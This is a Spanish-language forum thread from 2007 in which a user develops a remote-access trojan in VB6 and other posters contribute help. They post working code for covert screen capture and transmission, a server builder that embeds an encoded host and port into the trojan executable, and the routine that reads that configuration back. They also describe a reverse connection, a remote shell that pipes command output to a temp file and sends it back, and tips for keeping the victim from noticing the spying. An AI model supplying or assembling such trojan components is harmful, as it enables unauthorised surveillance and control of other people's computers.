Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: nhaalclkiemr en 1 Julio 2007, 20:07 pm



Título: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 1 Julio 2007, 20:07 pm
Weno, llevo muy poco tiempo en VB6.0 y sé muy poco...se manegar algunas API's, archivos y algo el control winsock.

Después de un tiempo me he decidido a crear mi primer troyano, pues de momento tengo bastante avanzado el diseño del cliente y tengo ya creado las conexiones las primeras conexiones entre server y cliente, vamos, que lo que está listo es la escucha del cliente y el envió de alguna información.

Ahora lo que necesito es una base, yo lo estoy haciendo sin haber visto el source de ningun troyano en VB6.0, todo a base de experimentar;por ejemplo el control winsock lo he analizado y utilizado como mejor me parecía sin haber visto antes ni como se usaba ni nada. Por eso me gustaría conseguir algun source de algun troyano para tener bases para crear la mía. Y después me gustaría que me dijerais cuales son las API's más importantes que necesita el server para conseguir información de la victima, hacer capturas de pantalla, etc...

Aki también iré poniendo las dudas que vaia teniendo.

Ahh, tambien me vendría bien un source de ejemplo de capturas de pantallas. Y el de un editserver (creo que habia uno poir el foro voy a buscar)

Pero lo mejor sería conseguir un source de algun troyano (aunke sea viejo) para tener una base, después baseandome en ese yo haría el mío. El tema de las API's que tengo que usar tambien es importante.

Espero vuestra ayuda para poder conseguir crear mi primer troyano en VB6. Gracias. ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: Tughack en 1 Julio 2007, 21:09 pm
Aprender primero para hacer despues.

No te pongas a ver codigos fuente para haceres lo k no sabes en el troyano.

Antes de haceres un troyano hay k conocer bien el lenguaje.

Otra cosa, no esperes k te salga bien tu primero troyano, el secreto es seguir haciendo mas y mas y mas, vas a notar mejoras en cada uno k haces.

Todo lo k necesitas ahora lo sabras hacer sin ver nada se aprendes primero a programar. Un troyano es algo k deve ser complexo para ser bueno. Y hay k saber bien lo k se hace :)

Salu2


Título: Re: Mi primer troyano en VB6.0
Publicado por: ranslsad en 2 Julio 2007, 00:19 am
Pues algo parecido a Tughack te diria yo.
Empieza con cosas mas basicas, iniciate con cosillas, ve viendo codigos, aprendetelos, si haces COPY PASTE como yo al principio, no sirve porque si hay mucho code junto no sabes ademas no sabes lo que haces!
Tenes que aprender a comprender los codigos que lees, por ejemplo yo le leo algun source y voy comprendiendo exactamente que pasa.

Pues eso, deberias empezar por algo mas sencillo asi como un chat,abrir archuvos, aprenderte codes habituales de memoria cosas asi :)

Si necesitas cualquier ayuda postea, yo personalmente y todo el foro de VB te ayudara :)

Salu2

Ranslsad


Título: Re: Mi primer troyano en VB6.0
Publicado por: Freeze. en 2 Julio 2007, 06:50 am
Muy bueno sigue adelante con tu troyano...


Título: Re: Mi primer troyano en VB6.0
Publicado por: Mr.Chispa en 2 Julio 2007, 08:51 am
a mi pensar un troyano es bastante simple de hacer (si el que esta del otro lado es un tara**), VB es un lenguaje bastante facil e intuitivo asi que no veo por que no puede intentar hacer un troyano, se va aprendiendo en el camino.

info no tengo pero veo si te puedo conseguir algo. un saludo


Título: Re: Mi primer troyano en VB6.0
Publicado por: Tughack en 2 Julio 2007, 10:30 am
a mi pensar un troyano es bastante simple de hacer (si el que esta del otro lado es un tara**), VB es un lenguaje bastante facil e intuitivo asi que no veo por que no puede intentar hacer un troyano, se va aprendiendo en el camino.

info no tengo pero veo si te puedo conseguir algo. un saludo

Si claro un troyano de newbies es facil de hacer. Lo dificil es hacer un pro kuando sabes poco o nada. Lo k dice son apenas consejos... Pork se de lo k hablo.
Kualkier lenguage es facil se la conoces :)

Salu2


Título: Re: Mi primer troyano en VB6.0
Publicado por: ~~ en 2 Julio 2007, 11:26 am
Citar
no esperes k te salga bien tu primero troyano, el secreto es seguir haciendo mas y mas y mas, vas a notar mejoras en cada uno k haces.

AMEN

Weno, mi consejo es q leas algunos manuales de como funciona un troyano y de winsock antes de nada, para luego saber q hacer. Te dejo algunos:

Sockets

Introducción al control Winsock en Visual Basic
http://foro.elhacker.net/index.php/topic,17665.msg233177.html#msg233177

ME URGE MANUAL WINSOCK :/
http://foro.elhacker.net/index.php/topic,22027.msg112656.html#msg112656

Winsock: el cliente recibe un archivo mayor del que le envian, ¿por qué?
http://foro.elhacker.net/index.php/topic,63330.0.html

API de Winsock para VB (Completa)
http://foro.elhacker.net/index.php/topic,62753.0.html

Un troyano fácil con Winsock
http://foro.elhacker.net/index.php/topic,6666.msg35679.html

Usando Winsock para enviar HTTP
http://www.fpress.com/revista/Num0701/art.htm

¿Cómo enviar Struct con control winsock en Visual Basic?
http://foro.elhacker.net/index.php/topic,67408.0.html

Enviar Archivos grandes con Winsock
http://www.kizar.net/foro/index.php?topic=617.0

Winsock y cadenas Hexadecimales
http://foro.elhacker.net/index.php/topic,69812.0.html

Para hacer la conexion inversa busca un paper de WarGhost por el foro de troyanos y virus y para el edit server pues lo mismo del mismo autor  :P



Título: Re: Mi primer troyano en VB6.0
Publicado por: ranslsad en 2 Julio 2007, 13:09 pm
Pues si, yo no intento desanimar ni mucho menos solo aconsejaba de que empiece por menoz, como hice.. con chats y cosas asi.
Pero si quieres aprender leyendo y probando pues aya tu..
PD: busca y en esta web quizas aya algun troyando o varios :)
PD2:Yo eske no tengo ninguno sino te pasaba :(

Salu2

Ranslsad


Título: Re: Mi primer troyano en VB6.0
Publicado por: magarcan en 2 Julio 2007, 17:22 pm
Yo también estoy haciendo un troyano, tengo el visual basic un poco oxidado, pero cuanto más programo más me acuerdo de como va.

Encontré por internet el código para hacer una captura de pantalla. Está bastante bién explicado. Espero que te sirva:
Código:
Option Explicit
 
 'Api para generar un evento de tecla, en este caso Print Screen
 ''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Declare Sub keybd_event Lib "user32" ( _
    ByVal bVk As Byte, _
    ByVal bScan As Byte, _
    ByVal dwFlags As Long, _
    ByVal dwExtraInfo As Long)

'recibe la ruta donde crear el BMP
''''''''''''''''''''''''''''''''''''''''''''''''''
Private Sub Capturar_Guardar(Path As String)
   
    ' borra el portapapeles
    Clipboard.Clear
   
    ' Manda la pulsación de teclas para capturar la imagen de la pantalla
    Call keybd_event(44, 2, 0, 0)
   
    DoEvents
    ' Si el formato del clipboard es un bitmap
    If Clipboard.GetFormat(vbCFBitmap) Then
   
        'Guardamos la imagen en disco
        SavePicture Clipboard.GetData(vbCFBitmap), Path
        MsgBox " Captura generada en: " & Path, vbInformation
    Else
        MsgBox " Error ", vbCritical
    End If
End Sub

El problema es que la imagen que te genera está en bmp y pesa un montón. estuve buscando formas para convertir la imagen a jpg, pero requerían la inclusión de dlls y prefiero que el archivo servidor no necesite ningún otro en el que apoyarse. Se me ocurrió una solución, es bastante chapuza, pero sirve:
Windows Xp incorpora un compresor (muy cutre y limitado) en linea de comandos, comprime la captura que te crea en bmp y bajará muchísimo su peso (3 megas a unos cientos de KB). Cuando la recibas en tu ordenador lo descomprimes con winrar y luego le cambias el formato si quieres.
Código:
Shell "makecab C:\pantalla.bmp C:\pantalla.cab"

Ánimo con el proyecto.


Título: Re: Mi primer troyano en VB6.0
Publicado por: Freeze. en 2 Julio 2007, 17:33 pm
Puedes usar:
Código:
Private sub command1_click()
name "C:\foto.bmp" as "C:\foto.jpg"
end sub
Nota: Corriganme si me equivoco :rolleyes: :o :-X :xD :¬¬ :-X :D :-\ :xD


Título: Re: Mi primer troyano en VB6.0
Publicado por: ranslsad en 2 Julio 2007, 17:59 pm
Puedes usar:
Código:
Private sub command1_click()
name "C:\foto.bmp" as "C:\foto.jpg"
end sub
Nota: Corriganme si me equivoco :rolleyes: :o :-X :xD :¬¬ :-X :D :-\ :xD

Si, se cambia de nombre.. pero pesa lo mismo asi que eso no serviria para nada en este tema.
Aun asi me gusta ese mini code, lo agregare a mi libreria de mini Codes.

Salu2

Ranslsad


Título: Re: Mi primer troyano en VB6.0
Publicado por: Freeze. en 2 Julio 2007, 18:05 pm
Oops pense que lo hacia :D ;) pero esta weno el code... ejejej


Título: Re: Mi primer troyano en VB6.0
Publicado por: Tughack en 2 Julio 2007, 18:10 pm
Pues voy a explicar pork no es bueno ese codigo.

Al usar ese codigo se captura la imagen para el portapapeles, y la victima puede notar k esta siendo espiada... Usen apis para hacer la captura de pantalla.

Aki les dejo un link:

http://support.microsoft.com/?scid=kb%3Ben-us%3B161299&x=5&y=16

Claro k para los troyanos no es necesario todo el codigo pero sacar solo lo k es necesario ya lo haran vosotros...

Puedes usar:
Código:
Private sub command1_click()
name "C:\foto.bmp" as "C:\foto.jpg"
end sub
Nota: Corriganme si me equivoco :rolleyes: :o :-X :xD :¬¬ :-X :D :-\ :xD

 :-X

Pues hay k convertila a jpg. Hay una classe k lo hace... busquen por cjpeg.cls en psc.

Salu2


Título: Re: Mi primer troyano en VB6.0
Publicado por: magarcan en 2 Julio 2007, 18:36 pm
Madre mía que tochazo de código...le echaré un ojo, pero así a primera vista...ero gracias.
Citar
Código:
Private sub command1_click()
name "C:\foto.bmp" as "C:\foto.jpg"
end sub
Así comprimo a divx en segundos XD


Título: Re: Mi primer troyano en VB6.0
Publicado por: Freeze. en 2 Julio 2007, 18:39 pm
Nop sirve :S
pero cambia el nombre !! y se me acaba de ocurrir una idea... ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: Tughack en 2 Julio 2007, 18:42 pm
Nop sirve :S
pero cambia el nombre !! y se me acaba de ocurrir una idea... ;)

No sirve? El codigo de microsoft?

No entiendi a k te refieres :S

Salu2


Título: Re: Mi primer troyano en VB6.0
Publicado por: Freeze. en 2 Julio 2007, 18:48 pm
no no no pense q estabas hablando de mi codigo ese de Name keejeje


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 2 Julio 2007, 20:45 pm
Weno primero agradeceros tan grande interés.

Después deciros que llevo ya tiempo haciendo binders, crypters, calculadoras, weno, que estoy capacitado para hacer un troyano sencillo, después a medida que vaya sabiendo más le añadiré más funciones, esa es mi idea. Ahh, y no pienso hacer COPY=>PASTE,simplemente los ejemplos son para verlos y baseandose en esos crear los mios.

Ya tengo creado la conexión inversa y sé controlar bastante el control Winsock, pero eses manuales me vienen de lujo (gracias EON)

Lo de la captura de pantalla lo tengo que analizar, yo tenía pensado hacer algo con la tecla (ImprPaint). Lo de que lo copie al portapapeles no es tan mala idea...solo es cuestión de guardar el contenido que había antes de la captura y volverlo a poner despues. Para pasar la imagen a JPEG tengo que mirar de alguna DLL o algo...

Cuando tenga creado lo que llamaria un mini-troyano os pasaré el codigo fuente para que lo analiceis (si kereis) e incluir mejoras. Gracias por vuestro interés, si necesito ayuda ya os la pido...de momento me pondré a leer algo a ver si progreso. Si encontrais algo interesante ponedlo que me viene de lujo.

Saludos y gracias en serio, en un dia ya 16 respuestas asi da gusto  ;D


Título: Re: Mi primer troyano en VB6.0
Publicado por: ~~ en 3 Julio 2007, 13:41 pm
Para la captura de pantalla lo mejor es usar el modulo llamado cJpeg q toma la captura automaticamente y te permite ajustar su calidad. Aki te lo dejo:


http://www.pscode.com/vb/scripts/ShowZip.asp?lngWId=1&lngCodeId=56382&strZipAccessCode=tp%2FP563821492

1S4ludo


Título: Re: Mi primer troyano en VB6.0
Publicado por: Tughack en 3 Julio 2007, 15:14 pm
Para la captura de pantalla lo mejor es usar el modulo llamado cJpeg q toma la captura automaticamente y te permite ajustar su calidad. Aki te lo dejo:


http://www.pscode.com/vb/scripts/ShowZip.asp?lngWId=1&lngCodeId=56382&strZipAccessCode=tp%2FP563821492

1S4ludo

Citar
Pues hay k convertila a jpg. Hay una classe k lo hace... busquen por cjpeg.cls en psc.
Ya lo havia dicho...

La class cJpeg no hace captura, solo convierte. Ese source k has puesto no lo vi, se captura, tiene incluido codigo para capturar pero no tiene k ver con la classe cJpeg.

De kualkier forma aki tienen el original:

http://www.1perlstreet.com/vb/scripts/ShowCode.asp?txtCodeId=50065&lngWId=1

Tambien hay una version Integer de este cls, ese no lo probe, su autor dice k es 30% mas rapido k el original.

http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=50351&lngWId=1

Salu2


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 11 Julio 2007, 21:28 pm
Gracias por lo de la captura.
Por cierto aún poco he avanzado pero estoy en ello.

Por cierto, una duda que tengo es de que manera es mejor obtener una información determinada, por ejemplo, para conseguir información del sistema que es mejor, sacarlas de un registro, de un objeto con esa finalidad, de una clase, de una API, de variables de entorno, ...??

Y tambien algunas funciones como hacer ping, escribir en registro o por ejemplo terminar con programas,obtener la lista de tareas,... que es mejor, usar comandos propios de Windows como ping, reg, taskkill, tasklist,... o usar APIs o funcionalidades  o clases de VB6.0?

Ahora os voy a comentar como voy hacer la Shell remota, me gustaría que me dijerais otra forma o alguna manera de mejorarla:

Mi idea es ejecutar esto:

Código:
comando > %temp%\temp.tmp

Después cojería el archivo y lo enviaría y lo borraría

Es una manera que me parece un poco primitiva, si sabeis otra mejor decidmelo.

Saludos ;)

P.D.: No se si os fijais en que hago mucho uso de los comandos propios de Windows...es que los conoce desde hace mucho (como programador en BATCH) y por eso cuando pienso en algo se me acuerdan estos comandos, creeis que es bueno usarlos?



Título: Re: Mi primer troyano en VB6.0
Publicado por: Freeze. en 11 Julio 2007, 22:37 pm
Somos 2 buscando el codigo de Shell remota.. Recuerdo haberla visto pero no preste mucha atencion y busco en google (con site:foro.elhacker.net) y nada (ya saben el foro tiene muchos post)

Salu2..!!


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 25 Julio 2007, 18:56 pm
Weno, despues de un tiempo en el que no he tenido internet (si ordenador), aunke poko lo he tocado pork es verano  ;D pues he avanzado algo en mi troyano, tengo casi terminado el FileManager (me está dando trabajo!) y he terminado un dumper de memoria remoto. Me he basado en el código de |MadAntrax| de un memdumper que hay por el foro y lo he hecho remoto, ademas de añadirle alguna cosa mas...para transferir un volcado de memoria no sirve mucho pork puede okupar muchos MB pero para buscar Strings o para transefir unos pocos offset...

Ahora os voy a comentar algunos problemas que tengo:

-Uno algo grave es que al envíar dos comandos muy seguidos a veces llegan como si fuera uno, me explico mejor:
Imaginaros que tengo un boton que envía este comando al server:

Código
  1. sock.SendData "[{estoesunejemplo}]"

Y otro que envia este:

Código
  1. sock.SendData "[{estoesotroejemplomas}]"

Pues si el cliente pulsa esos dos botones muy seguidos a veces el server recive esto

Código:
"[{estoesunejemplo}][{estoesotroejemplomas}]"

Vamos, que lo que serían dos entradas de datos para el server solo es una, y eso me provoca errores.


-Ahora otro problema, pues es que el máximo de datos que recie el control winsock son 8KB, este problema ya lo he solucionado para los archivos (pués utilizo matrices de datos y trato la llegada de datos de manera diferente), pero para strings (k uso para enviar ordenes) pues si son largas me encuentro con este problema. Esto ocurre por ejemplo para enviar el listado de archivos de una carpeta con por ejemplo 1500 archivos, pues al enviar strings con los nombres de archivo se envían más de 8192 bytes, ya que un archivo puede tener nombres muy largos...en resumen, se me divide la cadena en dos y entonces no funciona.


-Weno, y ahora unas preguntas...como se usa la clase cJPEG y cJPEGi...es k no se funcionar bien con modulos de clase, en teoría son objetos no?? k los tengo k declarar con "Dim obj As New cJPEG"? Sería algo así? O mejor con "Set"?


-Comentaros que para obtener informaciones sobre directorios y archivos utilizo

Código
  1. [Dim obj As Object
  2. Set obj = CreateObject("Scripting.FileSystemObject")

Weno, k uso el FSO...es buen método?, o es más rápido y/o efectivo usar alguna API?


-Sobre la Shell remota aún tengo que mirar, he encontrado esto pero lo tengo que analizar a ver si sirve:
http://foro.elhacker.net/index.php/topic,128250.0.html (http://foro.elhacker.net/index.php/topic,128250.0.html)


-Sobre el resto aún nada, el edit-server aún no tengo ni idea de como hacerlo (buske el de WarGhost pero no lo encontré), lo de la WebCam tengo que mirar, y el obtener información básica y las bromas, pero eso para después, después de terminar el FileManager voy a ir con el RegEditor.

Weno, saludos y a ver si me podeis ayudar, toda la información k me deis es bien agradecida ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: wACtOr en 25 Julio 2007, 20:55 pm
yo solo te puedo responder al cjpg,. de lo demas ni idea, aunque creo que ami me pasa algo parecido tb.

lo del jpg yo lo hago de esta manera, que creoq ue es la correcta(almenos funciona xD)

en el formulario declaro:
Código
  1. Dim Foto As New Class1 'Class1 es el nombre del module de clase cjpg.


depues en data arrival tengo esto:

Código
  1. Case "Screen"
  2. Resolucion = vData(1)
  3. Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
  4. Foto.Quality = Resolucion   'aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
  5. Foto.SampleScreen
  6. Foto.SaveFile ("c:\capture.jpg")
  7. ws.SendData "tamscreen|" & FileLen("C:\capture.jpg")

la resolucion la mando desde el cliente, pero puedes ajustarla aki si queieres.

este es el metodo que uso yo. conn esto solo consiguo un pantallazo de lo que esta haciendo. a ver si encuentro otro modulo para tomar capturas, que era mas rapido que el cjpg(creo, lo lei por aquie hace dias), ya que con el modulo del csocketmaster, la conexsion es lentisima, incluso en local.

espero aberte ayudado


PD: para el editor de server, te dejo un source que hize siguiendo el manual de warghost. espero que te sirva.

Código:
http://rapidshare.com/files/45004307/editor-server.rar


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 25 Julio 2007, 22:04 pm
Gracias, tengo k provarlo ahora mismo voy a hacerlo...

Ahh, y por favor si no te es mucha molestia sube el edit-server a megaupload o otro k no sea rapidshare, en rapidshare nunca consigo bajarlo, tengo k esperar más de 120 minutos... :-\

Saludos y gracias  ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: Freeze. en 25 Julio 2007, 22:05 pm
Si tienes ip dinamica y Windos te recomiendo...

ipconfig /renew
ipconfig /release



Título: Re: Mi primer troyano en VB6.0
Publicado por: wACtOr en 25 Julio 2007, 22:21 pm
http://www.freefilehosting.net/files/NDc3OA==


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 27 Julio 2007, 00:14 am
OK gracias, ya os diré ;)

Saludos ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: ~~ en 27 Julio 2007, 12:39 pm
Te contesto nhaalclkiemr:

Citar
Uno algo grave es que al envíar dos comandos muy seguidos a veces llegan como si fuera uno

Tienes dos opciones:
La primera es poner un sleep, aunke esto keda bastante mal...
La mejor opcion es poner un "interruptor" en el server, es decir, poner al final de todo el listado de archivos un par de caracteres especiales, por ejemplo "#~" y que el cliente no pare de meter lo q recibe en la lista de archivos hasta q no lea esos dos caracteres, esto lo puedes hacer con una variable boobleana, de todas formas si no te keda muy claro abajo te dejo un file manager de ejemplo  :P

Citar
Sobre el resto aún nada, el edit-server aún no tengo ni idea de como hacerlo

Ya deje yo uno completo de ejmplo, mira:
http://foro.elhacker.net/index.php/topic,171824.0.html

Y el file manager completo q te comentaba:
http://foro.elhacker.net/index.php/topic,170051.0.html
Fijate en lo q hago para no perder datos (lo q te comentaba del interruptor ;))

1S4ludo


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 27 Julio 2007, 16:14 pm
Weno, la verdad ya había mirado tu FileManager, pero no veo eso k dices tu del interruptor, pero ese tema ya lo tengo solucionado, lo que hago es desactivar los botones asta k el server responda, y para evitar el posible error de que el server responda (por kualkier circustancia) pongo un sleep y en unos segundos si no responde los vuelvo a activar...me parece buena medida

Tu edit-server no me funciona y la verdad no tengo idea de como funciona, y aún tengo k mirar el de WacTor k no tuve tiempo, la verdad es k ya he visto varios ejemplos...pero no los entiendo. No entiendo como en un ejecutable puedes modificar funciones, añadir otros y esto...aunke é visto uno k me ha dado una buenas ideas, ese lo k hace es usar un archivo de recursos, entonces los recursos son faciles de modificar y el server lo k hace es cargar los recursos jejeje. Weno, pero esto tampoco es lo esencial, primero a terminar el troyano...

Gracias de todas maneras, tendreis noticias...pero esk ahora es verano y tampoco tengo mucho tiempo, normalmente a la noche pero hoy es viernes y mañana sabado asi k :-\ jejeje, k son fiestas jejeje  :xD :xD

Saludos ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: wACtOr en 27 Julio 2007, 16:30 pm
yo lo que ago para el editserver es cargar el server en el cliente como recurso. luego lo extraigo, le meto la ip, puerto y luego unos valores, Verdadero falso. luego el server lee esos valores y aplica lo que sea.


Título: Re: Mi primer troyano en VB6.0
Publicado por: yovaninu en 28 Julio 2007, 16:12 pm
haber si mirando mi viejo editor de server te ayuda en algo

diseñas un form parecido a esto:
(http://img444.imageshack.us/img444/5588/editorfb8.jpg)

Código
  1. Dim finta As Boolean
  2. Dim i1 As Integer
  3. Dim Primera, Segunda As String
  4. Dim MICAdena As String
  5. Private Sub Command1_Click()
  6. Me.MousePointer = 11
  7. hacerlo
  8. Me.MousePointer = 0
  9. End Sub
  10.  
  11. Private Sub Command2_Click() 'solo para el test!
  12. On Error Resume Next
  13. If Len(Text1) = 0 Or Len(Text2) = 0 Or Len(Text7) = 0 Then
  14.    MsgBox "Can`t continue...", vbCritical + vbOKOnly, "Falta parámetros..."
  15. Else
  16.    Command1.Enabled = True
  17. End If
  18. End Sub
  19.  
  20.  
  21.  
  22.  
  23.  
  24. Private Sub Command3_Click()
  25. CD.Filter = "Server (*.exe)|*.exe"
  26. CD.ShowOpen
  27. Text8 = CD.FileName
  28. End Sub
  29.  
  30.  
  31.  
  32.  
  33. Sub hacerlo()
  34. Dim puerto, host, IdServer As String
  35. Dim lp, lh, lt, li As Integer
  36. Dim DataToAdd As String
  37. Dim DataEncrypted As String
  38.  
  39.    puerto = Text1.Text
  40.    host = Text2.Text
  41.    IdServer = Text7.Text
  42.  
  43.  
  44.    lp = Len(puerto)
  45.    lh = Len(host)
  46.    li = Len(IdServer)
  47.    lt = lp + lh + li
  48.    'MsgBox (App.Path)
  49.    DataToAdd = Trim(puerto) & "/" & Trim(host) & "/" & Trim(IdServer) & "/"
  50.    DataEncrypted = EncodeW(DataToAdd)
  51.  
  52.    'Open App.Path & "\taskmgrs.exe" For Binary As #1 '//abrimos el archivo en forma binaria.
  53.    Open Text8.Text For Binary As #1 '//abrimos el archivo en forma binaria.
  54.  
  55.       Seek (1), LOF(1) + 1 'nos vamos al final del archivo
  56.       Put #1, , DataEncrypted & Trim(Str(lt))
  57.    Close #1
  58.    MsgBox ("El servidor ha sido generado corréctamente (Encrypted)")
  59.    End
  60.  
  61. End Sub
  62.  
  63. 'modulo para ocultar un poco los datos añadidos al final del servidor
  64. Function EncodeW(TextToE As String) As String
  65. Dim i As Integer
  66. Dim cad As String * 1
  67. Dim Texto(200) As String
  68. Dim Encrip(200) As String
  69. Dim TextReturn As String
  70. For i = 1 To Len(TextToE)
  71.   cad = Right(TextToE, i)
  72.   Texto(i) = Left(cad, 1)
  73. Next
  74.  
  75. For i = Len(TextToE) To 1 Step -1
  76.  Encrip(i) = Chr(Asc(Texto(i)) + 1)
  77.  TextReturn = TextReturn & Encrip(i)
  78. Next
  79. EncodeW = TextReturn
  80. End Function
  81.  

con eso agregas esos datos al final del server, y en el codigo del server tendrias que poner algo asi, (en el form load del server)


Código
  1.  
  2. ArrayCritico() As String 'esto en general
  3.  
  4. On Error GoTo error:
  5. Dim DataRealD As String
  6. Dim nd, nd1 As String
  7.  
  8. nd = Right(filedata, 2)
  9.  
  10. nd1 = Right(filedata, Val(nd) + 5)
  11.  
  12. MsgBox (nd)
  13. MsgBox (nd1)
  14.  
  15.  
  16. DataRealD = DecodeW(nd1) 'traducimos
  17.  
  18.  
  19. MsgBox ArrayCritico(0) 'puerto
  20. MsgBox ArrayCritico(1) 'host
  21. MsgBox ArrayCritico(2) 'id del server (simple identificador)
  22. MsgBox ArrayCritico(3) 'numero de caracteres escritos al final del exe
  23.  
  24. Port = Val(ArrayCritico(0))
  25. Ip = ArrayCritico(1)
  26. error:
  27. End Sub
  28.  

en donde se ve que hay una funcioncilla "decodew" que va asi:
Código
  1. Function DecodeW(TextToD As String) As String
  2. Dim TextDReturn As String
  3. Dim i As Integer
  4.  
  5. Dim cad As String * 1
  6. Dim TextoEncriptado(200) As String
  7. For i = 1 To Len(TextToD)
  8.   cad = Right(TextToD, i)
  9.   TextoEncriptado(i) = Left(cad, 1)
  10. Next
  11.  
  12. For i = Len(TextToD) To 1 Step -1
  13.  TextDReturn = TextDReturn & Chr((Asc(TextoEncriptado(i))) - 1)
  14. Next
  15. DecodeW = TextDReturn
  16. End Function
  17.  

ojala me hayas entendido  ;D

Oops! me falto decirte que para probarlo tienes que tener el exe de tu servidor, si lo pruebas desde basic no funciona.

Un saludo


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 28 Julio 2007, 16:42 pm
La idea si no me ekivoko es esta: Poner al final del server los datos de la IP, el puerto, etc... (si van cifrados mejor), después el server lo k hace es leer estos valores que estan al final y guardarlos en variables y ya estaría no??? Corrijanme si me ekivoko...lo k no entiendo es como el server lee despues eses valores, pues en el código que has puesto en el server no hay ninguna instruccion "Open" que se abra a si mismo, debe ser que estoy yo confundido, no entiendo de donde sacas la variable "filedata" ni donde estableces los valores de "ArrayCritico"

Gracias de todos modos, si es como yo pienso ya voy teniendo una idea algo más clara...

Saludos y gracias ;)

P.D.: Wactor, aún no tuve tiempo de mirar el tuyo, lo siento...


Título: Re: Mi primer troyano en VB6.0
Publicado por: yovaninu en 28 Julio 2007, 22:26 pm
que distraido tienes razon:
éste código va al principio dentro del form load
Código
  1. Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2  
  2.  filedata = Input(LOF(2), #2)
  3. Close #2
  4.  



en conclusion el load del form del server para esta parte de tu troyano debe quedat asi:
Código
  1. Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2  
  2. filedata = Input(LOF(2), #2)
  3. Close #2
  4.  
  5. Dim DataRealD As String
  6. Dim nd, nd1 As String
  7.  
  8. nd = Right(filedata, 2)
  9.  
  10. nd1 = Right(filedata, Val(nd) + 5)
  11.  
  12.  
  13. DataRealD = DecodeW(nd1)
  14. ArrayCritico = Split(DataRealD, "/")
  15.  
  16. 'esto es sólo para verlo
  17. MsgBox ArrayCritico(0) 'puerto
  18. MsgBox ArrayCritico(1) 'host
  19. MsgBox ArrayCritico(2) 'id del server (simple identificador)
  20. MsgBox ArrayCritico(3) 'numero de caracteres escritos al final del exe
  21.  
  22. Port = Val(ArrayCritico(0))
  23. Ip = ArrayCritico(1)
  24.  
  25.  
  26.  


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 29 Julio 2007, 04:50 am
Ya me parecía, gracias, ya me quedó bastante clara la idea del edit-server.

Weno, si teneis información sobre cosas que pueda añadir a mi troyano o asi decidmelo...toda ayuda será bienvenida. SAludos ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 31 Julio 2007, 17:41 pm
WACTOR, tu me pusiste este code:

Código
  1. Case "Screen"
  2. Resolucion = vData(1)
  3. Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
  4. Foto.Quality = Resolucion   'aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
  5. Foto.SampleScreen
  6. Foto.SaveFile ("c:\capture.jpg")
  7. ws.SendData "tamscreen|" & FileLen("C:\capture.jpg")

Pero mi clase (cJPEG.cls) no tiene el método "SampleScreen", pero tiene uno llamado "SampleHDC":

Código
  1. Public Function SampleHDC(ByVal lHDC As Long, ByVal lWidth As Long, ByVal lHeight As Long, [ByVal lSrcLeft As Long = 0], [ByVal lSrcTop As Long = 0]) As Long

Esa es la funcion con los parametros k tengo k pasar, lHeight y lWidth se refieren al tamaño de la imagen, los opcionales no hacen falta, lo uniko k se para k sirve es lHDC...es necesario, si no se define despues el método "SavePicture" fallará...


Weno, lo k me gustaría k me explicarais una cosa referente a cJPEG, estas son sus propiedades:

X.Comment --> Sirve para poner un comentario
X.Quality --> La calidad de la imagen del 1 al 100

y estos sus métodos:

X.SetSamplingFrequencies --> Sirve tambien para determinar la calidad (comprension)
X.SampleHDC --> No se para k sirve, pero solo se le pasan números
X.SaveFile --> Sirve para guardar el archivo en JPEG, solo se le pasa la ruta donde se guardará el archivo


Mi pregunta es donde defino el archivo k quiero convertir??? En las propiedades está claro k no, en "Set SamplinFrecuencies" solo se le pasan 4 numeron k definen la calidad, en "SampleHDC" solo se le pasan 3 numeros, dos de ellos representan el tamaño y el otro es uno k no se para k sirve, pero es un Long, no puede contener el archivo...
En "SaveFile" solo se pasa la ruta donde se guardará el archivo...pero como se pasa el archivo que se guardará? como save la clase cual es el archivo k tiene k comprimir a JPEG???

Weno, a ver si alguien me puede ayudar

Saludos ;)

P.D.: Aki la clase k yo utilizo http://www.megaupload.com/es/?d=AJWKTIUY (http://www.megaupload.com/es/?d=AJWKTIUY)

Trae un ejemplo de komo se utiliza, de aí fue de donde saké las conclusiones k puse antes, pero no supe saber como funcionaba...En el ejemplo funciona perfectamente.


Título: Re: Mi primer troyano en VB6.0
Publicado por: wACtOr en 31 Julio 2007, 20:01 pm
weno pos si esperas un momento te usbo el modulo de clase que tengo yo, por que no tengo ni idea de porque hay dos modulos cjpg distintos.

http://www.megaupload.com/es/?d=X7PSVCSJ

mira  aver si con este te funciona


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 31 Julio 2007, 22:11 pm
Voy a provarlo ahora, ya te diré y gracias...pero aún asi sigo sin entender pork el otro no funciona...  :-\ :-\

Saludos ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 31 Julio 2007, 23:01 pm
Donde pone la version y fecha es exactamente la misma, debió de cojer alguna persona una y modificarla...por ejemplo en la mia hay una propiedad que permite establecer un comentario a la imagen, pero no puedo hacer capturas de pantalla pork no tiene la funcion "SampleScreen"...

Voy a usar la tuya ya k para lo k yo quiero es mejor...

Aún así me sigue kedando una duda...como hago para convertir a JPEG un archivo existente?

Saludos ;)


